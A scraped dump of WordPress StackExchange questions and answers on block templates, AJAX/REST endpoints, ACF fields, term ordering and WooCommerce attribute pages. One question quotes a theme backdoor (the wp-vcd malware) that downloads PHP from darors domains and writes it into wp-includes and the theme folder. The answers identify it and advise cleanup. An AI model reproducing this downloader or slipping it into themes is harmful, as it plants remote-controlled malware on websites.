$product_id = $cart_item['product_id'];
if($product_id!='19')
{
remove_action('woocommerce_checkout_process', 'my_custom_checkout_field_process');
}
}
});
``` |
333,294 | <p>I've chosen a custom page(-post) to be my front page. Now I want to use a block template only on that page, when editing it in the Gutenberg editor. As I understand it I have to add it on "init" or close to it, before I know the post_ID so I can't do a <code>if ( get_option( 'page_on_front' ) === $post_ID )</code>.</p>
<p>What are my options?</p>
<p><strong>Edit:</strong>
I've tried this but since is_front_page() is returning 'false' it doesn't work:</p>
<pre><code>function home_block_template() {
$post_type_object = get_post_type_object( 'post' );
if ( is_front_page() ) {
$post_type_object->template = array(
array( 'core/image', array() ),
);
}
}
add_action( 'init', 'home_block_template' );
</code></pre>
| [
{
"answer_id": 333332,
"author": "Mehmood Ahmad",
"author_id": 149796,
"author_profile": "https://wordpress.stackexchange.com/users/149796",
"pm_score": 0,
"selected": false,
"text": "<p>The following code should work for you let me know if you face any problem.</p>\n\n<pre><code>function myplugin_register_template() {\n $post_type_object = get_post_type_object( 'post' );\n\n if( is_front_page() ) {\n $post_type_object->template = array(\n array( 'core/image' ), // add your core/custom blocks here\n );\n }\n}\nadd_action( 'init', 'myplugin_register_template' );\n</code></pre>\n"
},
{
"answer_id": 333512,
"author": "Richard B",
"author_id": 1936,
"author_profile": "https://wordpress.stackexchange.com/users/1936",
"pm_score": 2,
"selected": true,
"text": "<p>Setting <code>$post_type_object->template</code> seems to be done on 'init' (or close to it) while <code>is_front_page()</code> is set later, so I had to use <code>$_GET['post']</code> instead. I also changed <code>get_post_type_object( 'post' )</code> to 'page'. Like this:</p>\n\n<pre><code>add_action( 'init', 'home_block_template' );\nfunction home_block_template() {\n if ( ! is_admin() || ! isset( $_GET['post'] ) || get_option( 'page_on_front' ) !== $_GET['post'] ) {\n return false;\n }\n\n $post_type_object = get_post_type_object( 'page' );\n $post_type_object->template = array(\n array( 'core/list' ),\n );\n}\n</code></pre>\n"
}
] | 2019/04/02 | [
"https://wordpress.stackexchange.com/questions/333294",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/1936/"
] | I've chosen a custom page(-post) to be my front page. Now I want to use a block template only on that page, when editing it in the Gutenberg editor. As I understand it I have to add it on "init" or close to it, before I know the post\_ID so I can't do a `if ( get_option( 'page_on_front' ) === $post_ID )`.
What are my options?
**Edit:**
I've tried this but since is\_front\_page() is returning 'false' it doesn't work:
```
function home_block_template() {
$post_type_object = get_post_type_object( 'post' );
if ( is_front_page() ) {
$post_type_object->template = array(
array( 'core/image', array() ),
);
}
}
add_action( 'init', 'home_block_template' );
``` | Setting `$post_type_object->template` seems to be done on 'init' (or close to it) while `is_front_page()` is set later, so I had to use `$_GET['post']` instead. I also changed `get_post_type_object( 'post' )` to 'page'. Like this:
```
add_action( 'init', 'home_block_template' );
function home_block_template() {
if ( ! is_admin() || ! isset( $_GET['post'] ) || get_option( 'page_on_front' ) !== $_GET['post'] ) {
return false;
}
$post_type_object = get_post_type_object( 'page' );
$post_type_object->template = array(
array( 'core/list' ),
);
}
``` |
333,343 | <p>I am currently creating a customize web page and I am willing to refer to a php file inside an ajax command <code>open(GET,"url php",true)</code> so my question is where to put my php file so that it would be seen by this snippet and how to call it.</p>
<p>Thanks </p>
| [
{
"answer_id": 333344,
"author": "Hito",
"author_id": 154864,
"author_profile": "https://wordpress.stackexchange.com/users/154864",
"pm_score": 0,
"selected": false,
"text": "<p>You should be able to use the functions defined in your PHP files by including it into your <code>functions.php</code> file. It's kinda hard to advice you better without knowing more about your structure. But <code>functions.php</code> seems to be a good location to require your file IMHO.</p>\n"
},
{
"answer_id": 333348,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": false,
"text": "<p>If you want to do some AJAX in your theme and you're asking where to put the PHP file that will process such request, then... Nowhere is the real answer...</p>\n\n<p>In WordPress you should deal with AJAX a little bit different than in normal PHP apps. There is already a mechanism for such requests.</p>\n\n<p>So first, you should localize your JS script:</p>\n\n<pre><code>wp_localize_script( 'ajax-script', 'ajax_object', array( 'ajax_url' => admin_url( 'admin-ajax.php' ) );\n</code></pre>\n\n<p>Then you should use that variable as request address:</p>\n\n<pre><code>// it's important to send \"action\" in that request - this way WP will know which action should be processing this request\njQuery.get(ajax_object.ajax_url, {'action': 'my_action', ...}, ... );\n</code></pre>\n\n<p>And then you should register your callbacks that will process the request:</p>\n\n<pre><code>add_action( 'wp_ajax_my_action', 'my_action' ); // for logged in users\nadd_action( 'wp_ajax_nopriv_my_action', 'my_action' ); // for anonymous users\nfunction my_action() {\n ...\n}\n</code></pre>\n\n<p>You can read more on that topic here:</p>\n\n<ul>\n<li><a href=\"https://codex.wordpress.org/AJAX_in_Plugins\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/AJAX_in_Plugins</a></li>\n</ul>\n"
},
{
"answer_id": 333349,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 3,
"selected": false,
"text": "<p>You can put your code in a plugin, then create a REST API endpoint.</p>\n\n<p>For example lets create a plugin, just put a PHP file <code>wp-content/plugins/ahmedsplugin.php</code> or <code>wp-content/plugins/ahmedsplugin/plugin.php</code> with a comment in it at the top like this:</p>\n\n<pre><code><?php\n/**\n * Plugin Name: Ahmeds Plugin\n **/\n\n... your code goes here ...\n</code></pre>\n\n<p>Now you'll see \"Ahmeds Plugin\" in the plugins folder. A plugin is just a PHP file in the plugins folder, or a subfolder of the plugins folder, that has that comment at the top.</p>\n\n<p>You can put WP code in here that will run such as filters, actions, classes, etc. Some people put these things in their themes <code>functions.php</code>, but themes are for visuals/presentation, and you lose it all when you switch a theme.</p>\n\n<p>Note this code will run before a theme template is loaded, and before the <code>init</code> hook. You should try to put all your code in hooks for better control of when it runs.</p>\n\n<p>Now lets make an endpoint that your javascript can make a request to. Start by telling WP you want to create an endpoint:</p>\n\n<pre><code>add_action( 'rest_api_init', function () { // when WP sets up the REST API\n register_rest_route( // tell it we want an endpoint\n 'ahmed/v1', '/test/', // at example.com/wp-json/ahmed/v1/test\n [ \n 'methods' => 'GET', // that it handles GET requests\n 'callback' => 'ahmed_test_endpoint' // and calls this function when hit\n ]\n );\n} );\n</code></pre>\n\n<p>When you visit <code>/wp-json/ahmed/v1/test</code> it will run the function <code>ahmed_test_endpoint</code>, so lets create that function:</p>\n\n<pre><code>function ahmed_test_endpoint( $request ) {\n return 'Hello World';\n}\n</code></pre>\n\n<p>The REST API will take whatever you return, JSON encode it, and send it out. </p>\n\n<p>You can return a <code>WP_Error</code> object if something goes wrong and it will change the HTTP codes etc and output the message. If you need any of the parameters, use the <code>$request</code> object, e.g. if you added <code>?bananas=yummy</code> to the URL, then <code>$request['bananas']</code> will contain <code>\"yummy\"</code>, just like <code>$_GET</code>.</p>\n\n<p>Remember to flush/resave your permalinks when you add a new endpoint!</p>\n\n<p>Now when we go to <code>yoursite.com/wp-json/ahmed/v1/test</code> you'll see <code>\"Hello World\"</code></p>\n\n<p>If you like, you can expand <code>register_rest_route</code> to add more information, such as which parameters your code expects, how to validate them, checking if the user is logged in and has permission to do what they want to do, etc.</p>\n\n<p>If you do this, the REST API will even help you out, so if you tell it there's going to be an ID parameter, but none is given, it'll tell you the ID parameter is missing. Admin AJAX, or stand alone PHP files won't do this, and it makes debugging very difficult. It also greatly improves security</p>\n\n<h2>Why Not A Standalone PHP File?</h2>\n\n<ol>\n<li>WP APIs won't be available so you'll need to bootstrap WP manually, which is painful</li>\n<li>The endpoint is available even if your plugin/theme is deactivated which can pose a security issue</li>\n<li>Other plugins can't hook into it, so no benefits from caching or optimisation plugins, so there's a possible performance penalty</li>\n<li>You'll need to roll out all the security checks yourself, building them manually, and that's not easy. WP will do them for you if you use the REST API</li>\n</ol>\n\n<p>In the olden days, the solution was to use the Admin AJAX API, but it doesn't do a lot for you. Also, it's very unforgiving, if you don't match your AJAX actions correctly, you get a cryptic response. It also does no checking beyond logged in/out, no validation or sanitisation, and no discovery mechanisms</p>\n"
}
] | 2019/04/03 | [
"https://wordpress.stackexchange.com/questions/333343",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164362/"
] | I am currently creating a customize web page and I am willing to refer to a php file inside an ajax command `open(GET,"url php",true)` so my question is where to put my php file so that it would be seen by this snippet and how to call it.
Thanks | You can put your code in a plugin, then create a REST API endpoint.
For example lets create a plugin, just put a PHP file `wp-content/plugins/ahmedsplugin.php` or `wp-content/plugins/ahmedsplugin/plugin.php` with a comment in it at the top like this:
```
<?php
/**
* Plugin Name: Ahmeds Plugin
**/
... your code goes here ...
```
Now you'll see "Ahmeds Plugin" in the plugins folder. A plugin is just a PHP file in the plugins folder, or a subfolder of the plugins folder, that has that comment at the top.
You can put WP code in here that will run such as filters, actions, classes, etc. Some people put these things in their themes `functions.php`, but themes are for visuals/presentation, and you lose it all when you switch a theme.
Note this code will run before a theme template is loaded, and before the `init` hook. You should try to put all your code in hooks for better control of when it runs.
Now lets make an endpoint that your javascript can make a request to. Start by telling WP you want to create an endpoint:
```
add_action( 'rest_api_init', function () { // when WP sets up the REST API
register_rest_route( // tell it we want an endpoint
'ahmed/v1', '/test/', // at example.com/wp-json/ahmed/v1/test
[
'methods' => 'GET', // that it handles GET requests
'callback' => 'ahmed_test_endpoint' // and calls this function when hit
]
);
} );
```
When you visit `/wp-json/ahmed/v1/test` it will run the function `ahmed_test_endpoint`, so lets create that function:
```
function ahmed_test_endpoint( $request ) {
return 'Hello World';
}
```
The REST API will take whatever you return, JSON encode it, and send it out.
You can return a `WP_Error` object if something goes wrong and it will change the HTTP codes etc and output the message. If you need any of the parameters, use the `$request` object, e.g. if you added `?bananas=yummy` to the URL, then `$request['bananas']` will contain `"yummy"`, just like `$_GET`.
Remember to flush/resave your permalinks when you add a new endpoint!
Now when we go to `yoursite.com/wp-json/ahmed/v1/test` you'll see `"Hello World"`
If you like, you can expand `register_rest_route` to add more information, such as which parameters your code expects, how to validate them, checking if the user is logged in and has permission to do what they want to do, etc.
If you do this, the REST API will even help you out, so if you tell it there's going to be an ID parameter, but none is given, it'll tell you the ID parameter is missing. Admin AJAX, or stand alone PHP files won't do this, and it makes debugging very difficult. It also greatly improves security
Why Not A Standalone PHP File?
------------------------------
1. WP APIs won't be available so you'll need to bootstrap WP manually, which is painful
2. The endpoint is available even if your plugin/theme is deactivated which can pose a security issue
3. Other plugins can't hook into it, so no benefits from caching or optimisation plugins, so there's a possible performance penalty
4. You'll need to roll out all the security checks yourself, building them manually, and that's not easy. WP will do them for you if you use the REST API
In the olden days, the solution was to use the Admin AJAX API, but it doesn't do a lot for you. Also, it's very unforgiving, if you don't match your AJAX actions correctly, you get a cryptic response. It also does no checking beyond logged in/out, no validation or sanitisation, and no discovery mechanisms |
333,380 | <p>I have code like below in neve theme WordPress. I feel suspicious about this code</p>
<pre><code>$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
</code></pre>
| [
{
"answer_id": 333382,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 0,
"selected": false,
"text": "<p>Yes, most probably yes.</p>\n\n<p>It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.</p>\n"
},
{
"answer_id": 333383,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 4,
"selected": true,
"text": "<p>I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.</p>\n\n<p>So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:</p>\n\n<ul>\n<li>changing all passwords (WP admins, FTP, hosting, database)</li>\n<li>reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.</li>\n<li>checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).</li>\n</ul>\n\n<p>There are lots of help in the googles on how to de-hack a site. I wrote a <a href=\"https://securitydawg.com/recovering-from-a-hacked-wordpress-site/\" rel=\"noreferrer\">set of procedures that I use</a>. It can be done, though, just takes a bit of work.</p>\n"
},
{
"answer_id": 333492,
"author": "Gaurav",
"author_id": 164466,
"author_profile": "https://wordpress.stackexchange.com/users/164466",
"pm_score": 0,
"selected": false,
"text": "<p>That's a possibility.</p>\n\n<p>Although, I think it is a mechanism to push theme updates only for sites with a valid license key.</p>\n\n<p>Alternatively, it is backdoor for deleting theme for any compromised key.</p>\n\n<p>It is difficult to say anything for sure without looking at the content which is downloaded.</p>\n"
},
{
"answer_id": 336952,
"author": "KFish",
"author_id": 158938,
"author_profile": "https://wordpress.stackexchange.com/users/158938",
"pm_score": 1,
"selected": false,
"text": "<p>Looks like wp-vcd malware to me. There's lot's of info out there about that, it's most common in nulled themes (i.e., a premium theme that you didn't want to pay for and instead downloaded a free copy of from a sketchy site). If you are using such a theme, I suggest deleting it, and paying the actual developer for the legitimate copy of the theme that won't include malware, or choosing another theme that fits your budget without the malware. </p>\n\n<p><a href=\"https://www.google.com/search?q=%22darors%22+wp-vcd\" rel=\"nofollow noreferrer\">https://www.google.com/search?q=%22darors%22+wp-vcd</a></p>\n"
},
{
"answer_id": 349057,
"author": "Iliyan",
"author_id": 175710,
"author_profile": "https://wordpress.stackexchange.com/users/175710",
"pm_score": 0,
"selected": false,
"text": "<p>I can confirm that that is a malware to show ads to your users.</p>\n\n<p>There are 3 files in wp-include folder:</p>\n\n<pre><code>'wp-feed.php',\n'wp-tmp.php',\n'wp-vcd.php',\n</code></pre>\n\n<p>and also in theme functions.php and other files.\nUse phpstorm to safe delete and searcg in comments to see in how many files you have that. Here is a blog about that <a href=\"https://www.getastra.com/blog/911/how-to-fix-wp-vcd-backdoor-hack-in-wordpress-functions-php/\" rel=\"nofollow noreferrer\">https://www.getastra.com/blog/911/how-to-fix-wp-vcd-backdoor-hack-in-wordpress-functions-php/</a></p>\n\n<p>The cause of this can be from infected theme files. Check also your plugins against vulnerable plugins list <a href=\"https://wpvulndb.com/\" rel=\"nofollow noreferrer\">https://wpvulndb.com/</a> </p>\n"
}
] | 2019/04/03 | [
"https://wordpress.stackexchange.com/questions/333380",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/-1/"
] | I have code like below in neve theme WordPress. I feel suspicious about this code
```
$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
``` | I would agree that there is a strong possibility of a hacked site with that code. The @file\_put\_contents statement is trying to write to your wp-admin folder. That's not good.
So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:
* changing all passwords (WP admins, FTP, hosting, database)
* reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.
* checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).
There are lots of help in the googles on how to de-hack a site. I wrote a [set of procedures that I use](https://securitydawg.com/recovering-from-a-hacked-wordpress-site/). It can be done, though, just takes a bit of work. |
333,381 | <p>I am trying to display a message like "Sorry no information here" if a field is not found and if field is found, no message should appear. I am using the ACF plugin for displaying fields on the front end in a user profile.</p>
<p>This is my code:</p>
<pre><code><?php $user_ID = get_current_user_id();
$label = 'user_' . $user_ID;
the_field('Information', $label); ?>
</code></pre>
<p>If anyone has an idea, I have tried a lot of things but nothing helps. Thanks in advance. Nico</p>
<p><strong>*Update: In fact, with ACF plugin for wordpress, I have created a field to display in user account in the backend of wordpress. So now I want to display this field (information) in the frontend account of the user.<br>
If I need to put a message for my client, I put this message in the wordpress backend user account.<br>
So in the frontend account, if I don't have put any message in this field (information), I want to display an automatic message like: "You don't have information yet"<br>
If I put a message in the field (information) in the wordpress backend user account, I want the automatic message disappear and my message is displayed.<br><br>
for now the message I put in field (information) in the backend account user is displayed correctly in the frontend user account *</strong></p>
| [
{
"answer_id": 333384,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": 3,
"selected": true,
"text": "<p>Are you just looking for a simple if then statement? Assuming that your fields are set up properly, then this code should work:</p>\n\n<pre><code><?php \n $user_ID = get_current_user_id(); \n $label = 'user_' . $user_ID;\n\n if (get_field('Information', $label)) {\n //there is data;\n } else { \n echo 'Sorry no information here';\n }\n?>\n</code></pre>\n"
},
{
"answer_id": 333388,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 2,
"selected": false,
"text": "<p><code>the_field()</code> echos the field value, while <code>get_field()</code> returns the field value which can be checked using <code>if</code> statement to display a message. <a href=\"https://www.advancedcustomfields.com/resources/get_field/\" rel=\"nofollow noreferrer\"><strong>Documentation</strong></a></p>\n\n<pre><code><?php \n\n$user_ID = get_current_user_id(); \n\n$label = 'user_' . $user_ID;\n\n//the_field('Information', $label);\n\nif (! get_field('Information', $label)) {\n\n echo 'Sorry no information here';\n\n } \n?>\n</code></pre>\n"
},
{
"answer_id": 333414,
"author": "Nicolas Logerot",
"author_id": 164119,
"author_profile": "https://wordpress.stackexchange.com/users/164119",
"pm_score": 0,
"selected": false,
"text": "<p>I finally find the solution, thanks you Rudtek, and thank you Qaisar Feroz for all of your time and code.</p>\n\n<p>So this is the working code:</p>\n\n<pre><code><?php \n $user_ID = get_current_user_id(); \n $label = 'user_' . $user_ID;\n\n if (get_field('information', $label)) {\n //there is data;\n echo get_field('galerie', $label);\n } else { \n echo 'Sorry no information here';\n }\n?>\n</code></pre>\n"
}
] | 2019/04/03 | [
"https://wordpress.stackexchange.com/questions/333381",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164119/"
] | I am trying to display a message like "Sorry no information here" if a field is not found and if field is found, no message should appear. I am using the ACF plugin for displaying fields on the front end in a user profile.
This is my code:
```
<?php $user_ID = get_current_user_id();
$label = 'user_' . $user_ID;
the_field('Information', $label); ?>
```
If anyone has an idea, I have tried a lot of things but nothing helps. Thanks in advance. Nico
**\*Update: In fact, with ACF plugin for wordpress, I have created a field to display in user account in the backend of wordpress. So now I want to display this field (information) in the frontend account of the user.
If I need to put a message for my client, I put this message in the wordpress backend user account.
So in the frontend account, if I don't have put any message in this field (information), I want to display an automatic message like: "You don't have information yet"
If I put a message in the field (information) in the wordpress backend user account, I want the automatic message disappear and my message is displayed.
for now the message I put in field (information) in the backend account user is displayed correctly in the frontend user account \*** | Are you just looking for a simple if then statement? Assuming that your fields are set up properly, then this code should work:
```
<?php
$user_ID = get_current_user_id();
$label = 'user_' . $user_ID;
if (get_field('Information', $label)) {
//there is data;
} else {
echo 'Sorry no information here';
}
?>
``` |
333,397 | <p>I'm querying a custom post type and displaying all posts by terms (basically posts by category) as follows, everything is working fine EXCEPT for some reason no matter how I write the tax_query array, I can't seem to get the order of the terms to change (ASC and DESC don't change anything).</p>
<p>Can anyone see where I might have gone wrong here?</p>
<pre><code>
$temp_query = $wp_query;
$custom_terms = get_terms('instruction_categories');
foreach($custom_terms as $custom_term) {
wp_reset_query();
$args = array(
'post_type' => 'instruction-sheets',
'orderby' => 'name', // order of the products
'order' => 'ASC',
'hide_empty' => 1,
'tax_query' => array(
array(
'taxonomy' => 'instruction_categories',
'field' => 'slug',
'terms' => $custom_term->slug,
'hide_empty' => 1,
'orderby' => $custom_term->name,
'order' => 'ASC', // switching to DESC should reverse order, but doesnt
),
),
);
$loop = new WP_Query($args);
if($loop->have_posts()) {
echo 'Region '.$custom_term->name.'';
while($loop->have_posts()) : $loop->the_post();
</code></pre>
| [
{
"answer_id": 333401,
"author": "jdm2112",
"author_id": 45202,
"author_profile": "https://wordpress.stackexchange.com/users/45202",
"pm_score": 0,
"selected": false,
"text": "<p>I believe your query arguments need revision. The value for <code>orderby</code> should be <code>meta_value</code> or <code>meta_value_num</code> for a numeric sort.</p>\n\n<p>You also need a <code>meta_key</code> set in your arguments array and in your case that should be set to the value of <code>$custom_term->slug</code>.</p>\n\n<p>Untested arguments for your query:</p>\n\n<pre><code>$args = array(\n 'post_type' => 'instruction-sheets',\n 'orderby' => 'meta_value', // Change #1\n 'order' => 'ASC',\n 'hide_empty' => 1,\n 'meta_key' => $custome_term->slug,\n 'tax_query' => array(\n array(\n 'taxonomy' => 'instruction_categories',\n 'field' => 'slug',\n 'terms' => $custom_term->slug,\n 'hide_empty' => 1,\n ),\n ),\n );\n</code></pre>\n\n<p>WP Codex reference for sorting: <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters</a></p>\n"
},
{
"answer_id": 333409,
"author": "TheSurfer",
"author_id": 164400,
"author_profile": "https://wordpress.stackexchange.com/users/164400",
"pm_score": 1,
"selected": false,
"text": "<p>For anyone having the same issue, here's how I ended up solving this. I installed the <a href=\"https://wordpress.org/plugins/wp-term-order/\" rel=\"nofollow noreferrer\">WP Term Order plugin</a> and then used the following code, the magic happens in the 'orderby' => 'order' line where the 'order' is being pulled from the drag and drop menu order functionality in the admin added by the plugin.</p>\n\n<pre><code>\n$custom_terms = get_terms('instruction_categories');\n\nforeach($custom_terms as $custom_term) {\nwp_reset_query();\n\n$args = array(\n 'post_type' => 'instruction-sheets',\n 'orderby' => 'meta_value',\n 'order' => 'ASC',\n 'hide_empty' => 1,\n 'meta_key' => $custome_term->slug,\n 'tax_query' => array(\n array(\n 'taxonomy' => 'instruction_categories',\n 'field' => 'slug',\n 'terms' => $custom_term->slug,\n 'hide_empty' => 1,\n 'orderby' => 'order',\n // 'order' => 'DESC',\n ),\n ),\n );\n\n\n $loop = new WP_Query($args);\n if($loop->have_posts()) {\n\n while($loop->have_posts()) : $loop->the_post();\n</code></pre>\n\n<p>Then enter whatever code you need to show for parts of your post content, and then don't forget to close the whole thing out with:</p>\n\n<p><pre><code>\n endwhile; \n }\n}\n</pre></code></p>\n"
}
] | 2019/04/03 | [
"https://wordpress.stackexchange.com/questions/333397",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164400/"
] | I'm querying a custom post type and displaying all posts by terms (basically posts by category) as follows, everything is working fine EXCEPT for some reason no matter how I write the tax\_query array, I can't seem to get the order of the terms to change (ASC and DESC don't change anything).
Can anyone see where I might have gone wrong here?
```
$temp_query = $wp_query;
$custom_terms = get_terms('instruction_categories');
foreach($custom_terms as $custom_term) {
wp_reset_query();
$args = array(
'post_type' => 'instruction-sheets',
'orderby' => 'name', // order of the products
'order' => 'ASC',
'hide_empty' => 1,
'tax_query' => array(
array(
'taxonomy' => 'instruction_categories',
'field' => 'slug',
'terms' => $custom_term->slug,
'hide_empty' => 1,
'orderby' => $custom_term->name,
'order' => 'ASC', // switching to DESC should reverse order, but doesnt
),
),
);
$loop = new WP_Query($args);
if($loop->have_posts()) {
echo 'Region '.$custom_term->name.'';
while($loop->have_posts()) : $loop->the_post();
``` | For anyone having the same issue, here's how I ended up solving this. I installed the [WP Term Order plugin](https://wordpress.org/plugins/wp-term-order/) and then used the following code, the magic happens in the 'orderby' => 'order' line where the 'order' is being pulled from the drag and drop menu order functionality in the admin added by the plugin.
```
$custom_terms = get_terms('instruction_categories');
foreach($custom_terms as $custom_term) {
wp_reset_query();
$args = array(
'post_type' => 'instruction-sheets',
'orderby' => 'meta_value',
'order' => 'ASC',
'hide_empty' => 1,
'meta_key' => $custome_term->slug,
'tax_query' => array(
array(
'taxonomy' => 'instruction_categories',
'field' => 'slug',
'terms' => $custom_term->slug,
'hide_empty' => 1,
'orderby' => 'order',
// 'order' => 'DESC',
),
),
);
$loop = new WP_Query($args);
if($loop->have_posts()) {
while($loop->have_posts()) : $loop->the_post();
```
Then enter whatever code you need to show for parts of your post content, and then don't forget to close the whole thing out with:
```
endwhile;
}
}
``` |
333,424 | <p>I'm trying to figure out how to customize the attribute page (for example, if i click on a link to the "length" attribute with a term of "7 inches", wordpress will echo all products that have a length attribute with term 7. My question is, how do I customize such a page? </p>
<p>Hope this is clear.</p>
<p>Thanks!</p>
| [
{
"answer_id": 333426,
"author": "TimothyKA",
"author_id": 159903,
"author_profile": "https://wordpress.stackexchange.com/users/159903",
"pm_score": 0,
"selected": false,
"text": "<p>I have found the solution. (code below + explanation for anyone who will perhaps stumble upon this).</p>\n<pre><code>$q_object = get_queried_object();\n$taxonomy = $q_object->taxonomy;\n\n// if page has taxonomy\nif ( is_tax( $taxonomy ) ) {\n echo 'THIS WORKS';\n} else {\n // does not\n}\n</code></pre>\n<p><strong>1.</strong> <em><code>get_queried_object();</code></em> -- is used on a currently queried object such as single post, archive page, taxonomy page etc... (<a href=\"https://codex.wordpress.org/Function_Reference/get_queried_object\" rel=\"nofollow noreferrer\">link to wp codex</a>)</p>\n<p><strong>2.</strong> <em><code>$q_object->taxonomy;</code></em> -- This allows us to get the taxonomy of the queried object (see point 1.)</p>\n<p><strong>3.</strong> <em><code>if ( is_tax( $taxonomy ) ) {</code></em> -- Checks if page has taxonomy.</p>\n<p>I hope my solution is clear, this is my first time trying to answer my own question and any question on stack-exchange for that matter.</p>\n"
},
{
"answer_id": 333460,
"author": "Christos Kavousanos",
"author_id": 164409,
"author_profile": "https://wordpress.stackexchange.com/users/164409",
"pm_score": 3,
"selected": true,
"text": "<p>@TimothyKA your solution might return true when you visit an attribute page however, it will return true on any taxonomy page ( and possibly it will produce PHP warnings on all the rest ). </p>\n\n<p>You need to create a conditional function that returns true only when you are working on an attribute page. The following should work just fine:</p>\n\n<pre><code>function my_is_wc_attribute() {\n\n /** \n * Attributes are proper taxonomies, therefore first thing is \n * to check if we are on a taxonomy page using the is_tax(). \n * Also, a further check if the taxonomy_is_product_attribute \n * function exists is necessary, in order to ensure that this \n * function does not produce fatal errors when the WooCommerce \n * is not activated\n */\n if ( is_tax() && function_exists( 'taxonomy_is_product_attribute') ) { \n // now we know for sure that the queried object is a taxonomy\n $tax_obj = get_queried_object();\n return taxonomy_is_product_attribute( $tax_obj->taxonomy );\n }\n return false;\n}\n</code></pre>\n\n<p>After adding the above function to your functions.php, you may create as many filters and actions to customize your attribute pages. For example, the following filter allows you to manipulate only the attributes title:</p>\n\n<pre><code>function my_single_term_title_filter( $attribute_title ) {\n\n if ( my_is_wc_attribute() ) {\n\n // do your stuff here\n }\n\n return $attribute_title;\n}\nadd_filter( 'single_term_title', 'my_single_term_title_filter' );\n\n</code></pre>\n\n<p>Don't forget to replace the <em>my_</em> prefixes with your own prefix, to avoid function naming conflicts.</p>\n"
},
{
"answer_id": 359405,
"author": "del4y",
"author_id": 183289,
"author_profile": "https://wordpress.stackexchange.com/users/183289",
"pm_score": 2,
"selected": false,
"text": "<p>There is a WooCommerce function for that:</p>\n\n<pre><code>is_product_taxonomy(); // Returns true when viewing a product taxonomy archive.\n</code></pre>\n"
}
] | 2019/04/04 | [
"https://wordpress.stackexchange.com/questions/333424",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/159903/"
